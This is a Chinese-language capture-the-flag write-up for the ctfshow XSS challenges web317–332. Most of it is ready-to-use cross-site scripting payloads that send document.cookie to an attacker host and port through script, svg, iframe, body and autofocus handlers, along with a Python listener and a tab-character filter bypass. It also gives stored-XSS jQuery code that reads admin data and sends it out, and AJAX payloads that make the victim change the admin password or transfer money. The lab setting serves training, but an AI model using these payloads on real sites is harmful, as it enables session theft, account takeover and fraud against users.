收集一下可用的姿势吧,
window.open:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。
location.href=”/url” 当前页面打开URL页面
windows.location.href=”/url” 当前页面打开URL页面
onfocus 事件在对象获得焦点时发生
autofocus 属性规定当页面加载时 input 元素应该自动获得焦点。
<script>window.open('http://ip:端口/'+document.cookie)</script>
<script>window.location.href='http://ip:端口/'+document.cookie</script>
<script>location.href='http://ip:端口/'+document.cookie</script>
<input onfocus="window.open('http://ip:端口/'+document.cookie)" autofocus>
# 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
onload 事件会在页面或图像加载完成后立即发生。
svg标签
<svg onload="window.open('http://ip:端口/'+document.cookie)">
iframe标签
<iframe onload="window.open('http://ip:端口/'+document.cookie)"></iframe>
body标签
<body onload="window.open('http://ip:端口/'+document.cookie)">
前面一直用xss平台打cookie,因为很多平台需要注册需要个人信息,然后感觉哪个平台一键打,学不到东西,所以就自己用代码和vps接收。
python3 -m http.server 端口
web317
上面的方法挑一种即可可以用。
web318
过滤了img,上面的很多方法都可以用。
web319
同上
web320
把空格给过滤了,就拿%09的url解码得到的TAB来过滤。
<iframe onload="window.open('http://ip:端口/'+document.cookie)"></iframe>
web322-326
这边用上面的poc基本都能打,空格记得绕一下
web327
这一题开始就是存储型了,这题的思路是这样的,我们要获取到管理员cookie,因为这边管理员可以查看到账户用户和密码,所以我们这边直接通过在注册的地方放入我们的代码,这样的话当管理员看到账号密码的时候就可以获取到cookie,这边我们需要注意一下就是那个账号密码的地方有没有过滤,或者有单双引号。
web328
这里我们重点注意一下这题,这一题用上面的方法是打不通的,所以但是却可以执行js代码,可能是管理员登入进去又登出了账号,导致我们的cookie失效了。因为这边可以执行代码所以我们可以使用jQuery,在我接触这个题的以前我是从来没学过jQuery,但是咱们今天碰到了,就去学习一下,笔记技多不压身。
首先我们认识一下什么是jQuery
jQuery 是一个 JavaScript 函数库。
jQuery 是一个轻量级的"写的少,做的多"的 JavaScript 库。
jQuery 库包含以下功能:
- HTML 元素选取
- HTML 元素操作
- CSS 操作
- HTML 事件函数
- JavaScript 特效和动画
- HTML DOM 遍历和修改
- AJAX
- Utilities
提示: 除此之外,jQuery 还提供了大量的插件。
详细教程可以去这里看jQuery
首先我们先观察一下这里的标签是哪个
首先先用这句来测试一下,这个标签对不对。
$('.laytable-cell-1-0-1').each(function(index,value){console.log(value);});
可以看到已经打印出来了,接下来再用判断读取来提权flag的值
$('.laytable-cell-1-0-1').each(function(index,value)
{if(value.innerHTML.indexOf('ctfshow')>-1){
window.location.href='http://ip:端口/?1='+value.innerHTML;}
});
可以看到已经把我们的flag给读出来了,所以我们这里就可以利用了,利用的时候记得加上script
<script>$('.laytable-cell-1-0-1').each(function(index,value)
{if(value.innerHTML.indexOf('ctfshow')>-1){
window.location.href='http://ip:端口/?1='+value.innerHTML;}
});</script>
注册用户后这里的密码就出来了,我们直接登入,但是想要flag的话还是要抓包,才能抓到flag,不然这里会跳转页面。
web330
首先这一题相对上一题,多了这个修改密码。
首先我们先用我们上次的poc打一下试一下,什么都没有接收到
这里我们就需要考虑是过滤了还是转意了,或者还有一种情况就是密码里面根本就没有包含ctfshow的flag
<script>location.href='http://ip:端口/?1=111';</script>
这边测试了一下发现是没有过滤的,所以我们这边可以找其他的方法,这边不是多出来一个修改密码吗,事出反常必有妖,所以我们可以想到修改管理员密码,抓包
这边可以看到请求的数据,所以我们直接构造poc
<script>location.href='http://127.0.0.1/api/change.php?p=999';</script>
在用户名那边注册即可,抓包即可。
web331 jQuery 之 post提交
拿到题目还是这样的,这边先试一下前面的poc
用了一下之后发现没有用,这里开始找原因,这边咱们抓个包发现post提交
这时候就可以用到jQuery ajax() 方法,参考链接
这边查看源代码跟着一起构造
poc
<script>$.ajax({
url:'api/change.php',
type:'post',
data:{
p:111
}});
</script>
用户名提交就是了,修改密码成功。
web332
打开题目一看,好家伙需要购买flag,还有点小贵
这边需要先注册两个小号,先相互转钱,测试一下,发现不多转,但是每个小号只有五块钱,总不至于,一直注册小号一直转5块钱吧,这得转到猴年马月啊,根据做上一题的经验,我们这一题可以直接让管理员转钱,思路还是和上题一样。
这边知道了如何提交的参数,我们直接构造出poc
<script>$.ajax({
url:'/api/amount.php',
type:'post',
data:{
u:111,
a:9999
}});
</script>
然后咱们就可以开心的买flag了。